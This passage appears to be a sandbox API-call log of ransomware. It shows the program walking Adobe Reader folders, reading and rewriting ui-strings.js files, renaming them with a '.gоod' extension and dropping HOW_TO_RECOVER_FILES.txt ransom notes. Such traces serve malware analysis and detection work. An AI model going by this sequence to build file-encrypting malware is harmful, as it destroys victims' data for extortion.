ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.433] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0170.433] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0170.433] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0170.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0170.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0170.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0170.434] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3406268 | out: lpFileInformation=0x3406268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38f2)) returned 1 [0170.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0170.434] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0170.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.434] GetFileType (hFile=0x640) returned 0x1 [0170.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.434] GetFileType (hFile=0x640) returned 0x1 [0170.434] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0170.434] ReadFile (in: hFile=0x640, lpBuffer=0x3406740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3406740*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0170.436] CloseHandle (hObject=0x640) returned 1 [0170.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0170.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.436] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.436] GetFileType (hFile=0x640) returned 0x1 [0170.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.436] GetFileType (hFile=0x640) returned 0x1 [0170.436] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x38f2 [0170.436] WriteFile (in: hFile=0x640, lpBuffer=0x3407a38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3407a38*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0170.437] CloseHandle (hObject=0x640) returned 1 [0170.437] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0170.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.437] GetFileType (hFile=0x640) returned 0x1 [0170.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.437] GetFileType (hFile=0x640) returned 0x1 [0170.437] ReadFile (in: hFile=0x640, lpBuffer=0x3409d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3409d58*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0170.465] CloseHandle (hObject=0x640) returned 1 [0170.465] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0170.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.466] GetFileType (hFile=0x640) returned 0x1 [0170.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.466] GetFileType (hFile=0x640) returned 0x1 [0170.466] WriteFile (in: hFile=0x640, lpBuffer=0x3408a50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3408a50*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0170.466] CloseHandle (hObject=0x640) returned 1 [0170.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0170.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0170.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0170.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x61d1f387, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3902)) returned 1 [0170.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0170.466] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\ui-strings.js.gоod")) returned 1 [0170.467] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0170.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0170.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\root\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\root\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0170.467] GetFileType (hFile=0x640) returned 0x1 [0170.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0170.468] GetFileType (hFile=0x640) returned 0x1 [0170.468] WriteFile (in: hFile=0x640, lpBuffer=0x3488788*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3488788*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0170.469] CloseHandle (hObject=0x640) returned 1 [0170.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0170.469] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru", lpFilePart=0x0) returned 0x69 [0170.469] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.470] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.470] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0170.470] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.470] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0170.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0170.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0170.470] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru", lpFilePart=0x0) returned 0x69 [0170.470] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.470] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.471] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0170.471] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0170.471] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0170.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0170.471] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0170.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3498360 | out: lpFileInformation=0x3498360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5391)) returned 1 [0170.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0170.558] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.559] GetFileType (hFile=0x640) returned 0x1 [0170.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.559] GetFileType (hFile=0x640) returned 0x1 [0170.559] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0170.559] ReadFile (in: hFile=0x640, lpBuffer=0x338b528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x338b528*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0170.560] CloseHandle (hObject=0x640) returned 1 [0170.560] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.560] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.560] GetFileType (hFile=0x640) returned 0x1 [0170.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.561] GetFileType (hFile=0x640) returned 0x1 [0170.561] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x5391 [0170.561] WriteFile (in: hFile=0x640, lpBuffer=0x338c860*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x338c860*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0170.562] CloseHandle (hObject=0x640) returned 1 [0170.562] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.562] GetFileType (hFile=0x640) returned 0x1 [0170.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.562] GetFileType (hFile=0x640) returned 0x1 [0170.562] ReadFile (in: hFile=0x640, lpBuffer=0x338ebe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x338ebe0*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0170.590] CloseHandle (hObject=0x640) returned 1 [0170.590] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files 